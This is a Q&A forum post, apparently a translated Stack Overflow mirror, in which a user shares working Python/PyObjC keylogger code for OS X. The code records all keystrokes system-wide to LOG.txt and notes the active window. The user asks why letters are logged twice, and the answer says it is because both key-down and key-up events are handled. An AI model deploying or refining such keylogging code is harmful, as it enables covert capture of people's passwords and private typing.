2012-12-10 37 views
0

我正在研究OS X的python鍵盤記錄程序。我的腳本運行良好,但所有字母在shell/txt日誌文件中都是雙重字符。任何人都可以告訴我爲什麼...這是我的一個謎!OS X - Python鍵盤記錄 - 雙字母

#!/usr/bin/env python 
# -*- coding: UTF-8 -*- 


import sys 
import os 


import exceptions 
from Foundation import NSObject, NSLog 
from AppKit import NSApplication, NSApp, NSWorkspace 
from Cocoa import * 
from Quartz import CGWindowListCopyWindowInfo, kCGWindowListOptionOnScreenOnly, kCGNullWindowID 
from PyObjCTools import AppHelper 
import keycode 



evtypes = dict(
    NSLeftMouseDown  = 1, 
    NSLeftMouseUp  = 2, 
    NSRightMouseDown = 3, 
    NSRightMouseUp  = 4, 
    NSMouseMoved  = 5, 
    NSLeftMouseDragged = 6, 
    NSRightMouseDragged = 7, 
    NSMouseEntered  = 8, 
    NSMouseExited  = 9, 
    NSKeyDown   = 10, 
    NSKeyUp    = 11, 
    NSFlagsChanged  = 12, 
    NSAppKitDefined  = 13, 
    NSSystemDefined  = 14, 
    NSApplicationDefined = 15, 
    NSPeriodic   = 16, 
    NSCursorUpdate  = 17, 
    NSScrollWheel  = 22, 
    NSTabletPoint  = 23, 
    NSTabletProximity = 24, 
    NSOtherMouseDown = 25, 
    NSOtherMouseUp  = 26, 
    NSOtherMouseDragged = 27 
) 

evtypes_rev = dict([[v,k] for k,v in evtypes.items()]) 

class Hooker(object): 
    def __call__(self, *args, **kwargs): 
     try: 
      items = ' '.join([ x[0]+"="+unicode(x[1]) for x in kwargs.iteritems()]) 
      if (self.__class__.__name__ == "MouseMoveHooker"): 
       pass 

      else : 
       for x in kwargs.iteritems(): 
        if x[0] == 'char': 
         print x[1].encode('utf-8') 
         fichier.write("%s" % (x[1].encode('utf-8'))) 
     except Exception as e: 
      print 'Horrific error!', e 
      AppHelper.stopEventLoop() 
      sys.exit(0) 

class KeyHooker(Hooker): pass 
class MouseButtonHooker(Hooker): pass 
class MouseMoveHooker(Hooker): pass 
class ScreenHooker(Hooker): pass 

class SniffCocoa: 

    def __init__(self): 

     self.key_hook = KeyHooker() 
     self.screen_hook = ScreenHooker() 
     self.currentApp = None 

    def createAppDelegate (self) : 

     sc = self 
     class AppDelegate(NSObject): 
      def applicationDidFinishLaunching_(self, notification): 
       mask = (
          NSKeyDownMask 
         | NSKeyUpMask 
         | NSLeftMouseDownMask 
         | NSLeftMouseUpMask 
         | NSRightMouseDownMask 
         | NSRightMouseUpMask 
         | NSMouseMovedMask 
         | NSScrollWheelMask 
         ) 
       NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask, sc.handler) 
     return AppDelegate 

    def run(self): 
     NSApplication.sharedApplication() 
     delegate = self.createAppDelegate().alloc().init() 
     NSApp().setDelegate_(delegate) 
     self.workspace = NSWorkspace.sharedWorkspace() 
     AppHelper.runEventLoop() 

    def cancel(self): 
     AppHelper.stopEventLoop() 

    def handler(self, event): 

     try: 
      activeApps = self.workspace.runningApplications() 
      for app in activeApps: 
       if app.isActive(): 
        if app.localizedName() != self.currentApp: 
         self.currentApp = app.localizedName() 
         options = kCGWindowListOptionOnScreenOnly 
         windowList = CGWindowListCopyWindowInfo(options, kCGNullWindowID) 

         for window in windowList: 
          if window['kCGWindowOwnerName'] == self.currentApp: 
           geom = window['kCGWindowBounds'] 
           self.screen_hook(event=event, 
               name = window['kCGWindowName'], 
               owner = window['kCGWindowOwnerName'], 
               x = geom['X'], 
               y = geom['Y'], 
               w = geom['Width'], 
               h = geom['Height']) 
           break 
        break 

      # keys down 
      if event.type() in (NSKeyDown, NSKeyUp): 

       flags = event.modifierFlags() 
       modifiers = [] # OS X api doesn't care it if is left or right 
       if (flags & NSControlKeyMask): 
        modifiers.append('CONTROL') 
       if (flags & NSAlternateKeyMask): 
        modifiers.append('ALTERNATE') 
       if (flags & NSCommandKeyMask): 
        modifiers.append('COMMAND') 

       self.key_hook(char=keycode.tostring(event.keyCode())) 


     except (KeyboardInterrupt) as e: 
      print 'handler', e 
      AppHelper.stopEventLoop() 

fichier = open("LOG.txt", "a") 
sc = SniffCocoa() 
sc.run() 
+1

是因爲你在聽'NSKeyDown'和'NSKeyUp'嗎? –

+0

嗨,爲了這個工作,你是如何繞過OSx安全來允許訪問來控制計算機的?你是否把* .app從中提取出來並賦予它控制計算機的權利(在安全和隱私之下)? –

回答

3

因爲您正在調用key_hook兩次:一次調用NSKeyDown和一次調用NSKeyUp(均由按鍵生成)。